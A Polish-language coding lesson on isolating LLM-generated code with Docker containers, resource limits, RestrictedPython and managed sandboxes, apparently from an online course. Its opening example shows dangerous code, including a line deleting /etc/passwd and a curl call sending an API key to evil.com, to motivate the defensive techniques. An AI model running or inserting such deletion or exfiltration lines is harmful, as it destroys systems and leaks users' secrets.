AI Engineering Academy · Lekcja

Izolowanie za pomocą Docker i RestrictedPython

Utwórz izolowane środowiska wykonywania z użyciem kontenerów Docker z limitami zasobów, izolacją sieci i systemami plików tylko do odczytu, aby bezpiecznie uruchamiać niezaufany kod wygenerowany przez LLM.

Lekcja 2 z 413 kroki

Izolowanie za pomocą Docker i RestrictedPython to bezpłatna lekcja AI Engineering Academy na CoddyKit. To lekcja 2 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej AI Engineering Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs AI Engineering Academy zawiera 4 lekcji w sumie.

Dlaczego izolowanie kodu w sandboxie jest niezbędne

Kod wygenerowany przez LLM działa z takimi samymi uprawnieniami jak proces, który go wywołuje. Nieostrożny lub złośliwie wstrzyknięty fragment kodu może usuwać pliki, odczytywać zmienne środowiskowe zawierające klucze API, wysyłać żądania sieciowe, wyczerpywać pamięć RAM lub moc CPU albo instalować tylne furtki. Izolowanie w sandboxie tworzy odseparowane środowisko wykonywania, które ogranicza możliwości wygenerowanego kodu i sprawia, że agenci wykonujący kod mogą bezpieczniej działać w środowisku produkcyjnym.

# Example of dangerous code an LLM might generate
import os
import subprocess

# Without sandboxing, this runs with full host permissions:
os.remove('/etc/passwd')              # deletes system file
subprocess.run(['curl', 'http://evil.com', '-d', os.environ['OPENAI_API_KEY']])  # exfiltrates secrets
while True: pass                      # exhausts CPU

# Sandboxing prevents ALL of this

Docker jako sandbox

Kontenery Docker są najbardziej praktycznym rozwiązaniem do izolowania kodu wygenerowanego przez LLM w środowisku produkcyjnym. Każde wykonanie kodu odbywa się w nowym kontenerze utworzonym na podstawie minimalnego obrazu, z restrykcyjnymi limitami procesora, pamięci i czasu. Kontener nie ma dostępu do systemu plików hosta (poza jawnie zamontowanym obszarem roboczym), a dostęp do sieci jest wyłączony lub ograniczony do białej listy. Po zakończeniu wykonywania kontener jest usuwany.

import docker
import tempfile
import os

client = docker.from_env()

def execute_in_docker(code: str, timeout=30) -> tuple[str, str]:
    # Write code to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(code)
        host_path = f.name
    
    try:
        container = client.containers.run(
            image='python:3.11-slim',           # minimal Python image
            command=f'python /workspace/code.py',
            volumes={host_path: {'bind': '/workspace/code.py', 'mode': 'ro'}},
            mem_limit='256m',                   # max 256 MB RAM
            cpu_period=100000,
            cpu_quota=50000,                    # 50% of 1 CPU core
            network_disabled=True,              # no internet access
            read_only=True,                     # read-only root filesystem
            remove=True,                        # auto-delete container
            timeout=timeout
        )
        return container.decode('utf-8'), ''
    except docker.errors.ContainerError as e:
        return '', e.stderr.decode('utf-8')
    finally:
        os.unlink(host_path)

Limity zasobów w Dockerze

Docker udostępnia szczegółową kontrolę zasobów kontenerów działających w sandboxie. Najważniejsze limity, które należy ustawić, to: mem_limit ograniczający pamięć (np. 256m), cpu_quota ograniczający czas procesora, pids_limit zapobiegający fork bombom oraz timeout zatrzymujący zawieszony kod. Bez tych limitów źle napisany lub złośliwy fragment kodu może doprowadzić do awarii całej maszyny hosta przez wyczerpanie wszystkich dostępnych zasobów.

sandbox_config = {
    'image': 'code-sandbox:latest',
    'mem_limit': '256m',        # 256 MB max RAM
    'memswap_limit': '256m',    # no swap (prevents RAM expansion via swap)
    'cpu_quota': 50000,         # 50% of a CPU core
    'cpu_period': 100000,
    'pids_limit': 64,           # max 64 processes (prevents fork bombs)
    'network_disabled': True,   # no network
    'read_only': True,          # read-only root filesystem
    'tmpfs': {'/tmp': ''},      # writable /tmp in memory only
    'security_opt': ['no-new-privileges'],  # prevent privilege escalation
    'cap_drop': ['ALL'],        # drop all Linux capabilities
    'remove': True,             # auto-remove after execution
}

Tworzenie obrazu do wykonywania kodu

Uruchamianie kodu w minimalnym obrazie python:3.11-slim oznacza, że nie są dostępne biblioteki do analizy danych. Należy zbudować niestandardowy obraz sandboxa, w którym wcześniej zainstalowano pakiety często potrzebne agentom kodu (pandas, numpy, matplotlib, scikit-learn), aby nie musieli oni instalować pakietów z internetu w czasie działania. Wstępna instalacja znacznie przyspiesza również wykonywanie kodu.

# Dockerfile for code sandbox
# FROM python:3.11-slim
# 
# RUN pip install --no-cache-dir \
#     pandas==2.1.0 \
#     numpy==1.25.0 \
#     matplotlib==3.7.0 \
#     scikit-learn==1.3.0 \
#     requests==2.31.0 \
#     beautifulsoup4==4.12.0
# 
# # Create non-root user for extra security
# RUN useradd -m sandbox
# USER sandbox
# 
# WORKDIR /workspace

# Build: docker build -t code-sandbox:latest .
# The agent uses this image for every execution

RestrictedPython do izolowania w obrębie procesu

RestrictedPython to biblioteka Pythona, która kompiluje kod z ograniczeniami bezpieczeństwa wymuszanymi na poziomie AST. Blokuje niebezpieczne elementy wbudowane (exec, eval, __import__), ogranicza dostęp do atrybutów i uniemożliwia dostęp do metod dunder. RestrictedPython działa w tym samym procesie (bez narzutu Dockera), dzięki czemu jest znacznie szybszy, ale zapewnia słabszą izolację niż Docker i lepiej sprawdza się w przypadku prostego kodu o niskim ryzyku.

from RestrictedPython import compile_restricted, safe_globals, safe_builtins
from RestrictedPython.Guards import safe_iter_unpack_sequence, guarded_getitem

def execute_restricted(code: str) -> dict:
    # Compile with restrictions
    byte_code = compile_restricted(code, '<string>', 'exec')
    
    # Define a restricted global namespace
    restricted_globals = {
        '__builtins__': safe_builtins,  # no exec, eval, __import__, open
        '_getiter_': iter,
        '_getitem_': guarded_getitem,
        '_iter_unpack_sequence_': safe_iter_unpack_sequence,
        'print': print,  # allow print
    }
    
    local_vars = {}
    exec(byte_code, restricted_globals, local_vars)
    return local_vars

# Test
try:
    result = execute_restricted('x = 2 + 2\nprint(x)')
except Exception as e:
    print('Blocked:', e)

Porównanie Dockera i RestrictedPython

Oba podejścia do izolowania mają różne kompromisy. Docker zapewnia prawdziwą izolację na poziomie systemu operacyjnego: każde wykonanie odbywa się w osobnym procesie bez współdzielonego stanu, a nawet próba wykorzystania luki w jądrze jest ograniczona do kontenera. Wadą jest narzut uruchomienia wynoszący od 0,5 do 2 sekund na wykonanie. RestrictedPython uruchamia się w ciągu milisekund i nie wymaga infrastruktury kontenerowej, ale zapewnia znacznie słabszą izolację oraz ma znane sposoby obejścia zabezpieczeń przez zaawansowanych atakujących.

# Decision guide
def choose_sandbox(requirements: dict) -> str:
    if requirements.get('user_provided_code'):  # untrusted third party code
        return 'docker'  # must use Docker for true isolation
    
    if requirements.get('needs_filesystem_access'):
        return 'docker'  # Docker volumes are safer
    
    if requirements.get('low_latency_critical'):  # < 100ms per execution
        return 'restrictedpython'  # no container startup overhead
    
    if requirements.get('llm_generated_internal_only'):  # your own trusted agent
        return 'restrictedpython'  # acceptable risk, faster
    
    return 'docker'  # default to stronger isolation when in doubt

Zezwalanie tylko na dozwolone operacje

Zarówno Docker, jak i RestrictedPython obsługują białe listy: jawne zezwalanie wyłącznie na operacje rzeczywiście potrzebne agentowi kodu zamiast blokowania wszystkiego, co niebezpieczne. Można na przykład zezwolić na operacje pandas i numpy, a zablokować subprocess, socket i os.system. Białe listy są bezpieczniejszym rozwiązaniem niż czarne listy, ponieważ nie trzeba przewidywać każdego możliwego wektora ataku.

from RestrictedPython import safe_builtins
import pandas as pd
import numpy as np

# Whitelist approach: only provide what agents should use
ALLOWED_MODULES = {
    'pandas': pd,
    'numpy': np,
    # NOT allowed: subprocess, socket, os, sys, importlib
}

def make_restricted_globals():
    builtins = dict(safe_builtins)  # safe subset of Python builtins
    builtins['__import__'] = make_guarded_import(ALLOWED_MODULES)
    return {'__builtins__': builtins, **ALLOWED_MODULES}

def make_guarded_import(allowed: dict):
    def guarded_import(name, *args, **kwargs):
        if name not in allowed:
            raise ImportError(f'Import of {name} is not allowed in sandbox')
        return allowed[name]
    return guarded_import

Trwałe woluminy obszaru roboczego

Agent kodu często musi zapisywać pliki pośrednie (oczyszczony plik CSV, wygenerowany wykres), które może odczytać kolejna iteracja kodu. W tym celu należy użyć w Dockerze woluminu przestrzeni roboczej: katalogu na hoście, który jest montowany w kontenerze z uprawnieniami do odczytu i zapisu. Każde wykonanie kontenera w ramach tej samej sesji współdzieli ten wolumin, dzięki czemu agent może w kolejnych iteracjach tworzyć zestaw plików w przestrzeni roboczej, podczas gdy główny system plików kontenera pozostaje tylko do odczytu.

import os
import tempfile

class AgentWorkspace:
    def __init__(self):
        self.dir = tempfile.mkdtemp(prefix='agent_workspace_')
        os.chmod(self.dir, 0o755)
        print(f'Workspace created: {self.dir}')

    def get_docker_mount(self):
        return {self.dir: {'bind': '/workspace', 'mode': 'rw'}}

    def list_files(self):
        return os.listdir(self.dir)

    def cleanup(self):
        import shutil
        shutil.rmtree(self.dir)
        print('Workspace cleaned up')

# Usage across iterations
workspace = AgentWorkspace()

for i, code in enumerate(agent_generated_code_iterations):
    volumes = workspace.get_docker_mount()
    output, err = execute_in_docker(code, volumes=volumes)
    # Code in iteration 2 can read files written by iteration 1

Izolowanie w środowiskach chmurowych

W środowisku produkcyjnym często warto uruchamiać izolowane środowiska wykonywania kodu w chmurze, a nie na serwerze API. Usługi takie jak AWS Lambda (z ograniczoną VPC), kontenery Google Cloud Run czy dedykowane usługi izolowania, takie jak E2B (e2b.dev), zapewniają zarządzane, odizolowane środowiska wykonywania kodu. E2B zostało stworzone specjalnie z myślą o agentach kodu AI i oferuje szybko uruchamianą piaskownicę Pythona z prostym API.

# E2B managed sandbox (e2b.dev)
from e2b_code_interpreter import Sandbox

def execute_with_e2b(code: str) -> tuple[str, str]:
    with Sandbox() as sandbox:
        execution = sandbox.run_code(code)
        stdout = '\n'.join(execution.logs.stdout)
        stderr = '\n'.join(execution.logs.stderr)
        return stdout, stderr

# E2B handles: sandboxing, resource limits, network isolation
# Each sandbox starts in ~100ms and auto-expires after the session
output, error = execute_with_e2b('import pandas as pd\ndf = pd.DataFrame({"a": [1,2,3]})\nprint(df)')

Monitorowanie i rejestrowanie audytowe

Nawet przy zastosowaniu piaskownicy należy rejestrować każde wykonanie kodu na potrzeby audytu bezpieczeństwa. Należy zapisywać: cały kod przesłany do wykonania, znacznik czasu i czas trwania wykonania, sesję agenta i użytkownika, który je wywołał, dane wyjściowe stdout/stderr oraz wszelkie podjęte próby naruszenia zabezpieczeń (zablokowane importy, osiągnięte limity zasobów). Taki ślad audytowy jest niezbędny do badania nieoczekiwanego działania i wykazywania zgodności z wymaganiami.

import time
import hashlib

def audited_execute(code: str, agent_id: str, session_id: str) -> dict:
    code_hash = hashlib.sha256(code.encode()).hexdigest()[:16]
    start = time.time()
    
    stdout, stderr = execute_in_docker(code)
    
    audit_record = {
        'agent_id': agent_id,
        'session_id': session_id,
        'code_hash': code_hash,
        'code_preview': code[:200],  # first 200 chars
        'start_time': start,
        'duration_ms': (time.time() - start) * 1000,
        'had_error': bool(stderr),
        'output_length': len(stdout)
    }
    write_audit_log(audit_record)
    return {'stdout': stdout, 'stderr': stderr, 'audit': audit_record}

Wielowarstwowa ochrona agentów kodu

Żaden pojedynczy mechanizm izolowania nie jest doskonały. Należy stosować wielowarstwową ochronę: łączyć izolację Dockera z limitami zasobów, używać wewnątrz kontenera użytkownika innego niż root, wyłączać dostęp do sieci, korzystać z głównego systemu plików tylko do odczytu i z tmpfs dla /tmp, uruchamiać kontener na osobnej maszynie wirtualnej o niskich uprawnieniach lub w funkcji chmurowej oraz monitorować wykonanie pod kątem nietypowego użycia zasobów. Wiele niezależnych warstw oznacza, że ominięcie jednej z nich nie narusza całego systemu.

Szybki test

Sprawdź swoją wiedzę na temat izolowania wykonywania kodu omówionego w tej lekcji.

Podsumowanie lekcji

W tej lekcji dowiedziałeś się, że: izolowanie w Dockerze jest złotym standardem bezpiecznego uruchamiania kodu wygenerowanego przez LLM i wykorzystuje izolację na poziomie kontenera, limity zasobów oraz ograniczenia sieciowe; RestrictedPython to szybsza, lecz słabsza alternatywa działająca w tym samym procesie, odpowiednia dla agentów wewnętrznych o niskim ryzyku; a wielowarstwowa ochrona łączy wiele warstw zabezpieczeń, ponieważ żaden pojedynczy mechanizm nie jest wystarczający. Następnie omówimy zarządzanie stanem między kolejnymi etapami wykonywania kodu.

Bezpłatny start

Ucz się Python dzięki korepetycjom AI — za darmo

Pisz i uruchamiaj kod w przeglądarce, otrzymuj natychmiastową pomoc od korepetytora AI dostępnego 24/7 i kontynuuj naukę w sieci lub w aplikacji.

Kursy
30
Lekcje
120

Często zadawane pytania

Czy lekcja „Izolowanie za pomocą Docker i RestrictedPython” jest bezpłatna?

Tak — pełny tekst „Izolowanie za pomocą Docker i RestrictedPython” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu AI Engineering Academy, przejdź na CoddyKit PRO. Kurs AI Engineering Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Izolowanie za pomocą Docker i RestrictedPython”?

Utwórz izolowane środowiska wykonywania z użyciem kontenerów Docker z limitami zasobów, izolacją sieci i systemami plików tylko do odczytu, aby bezpiecznie uruchamiać niezaufany kod wygenerowany prze… Ćwiczysz AI Engineering Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć AI Engineering Academy?

Nie wymagamy żadnego doświadczenia. AI Engineering Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 2 z 4.

Ile czasu zajmuje lekcja „Izolowanie za pomocą Docker i RestrictedPython”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji AI Engineering Academy?

Tak. Każda lekcja AI Engineering Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. Pętla wykonywania kodu
  2. Izolowanie za pomocą Docker i RestrictedPython
  3. Zarządzanie stanem między krokami wykonywania
  4. Budowanie agenta do analizy danych
← Powrót do AI Engineering Academy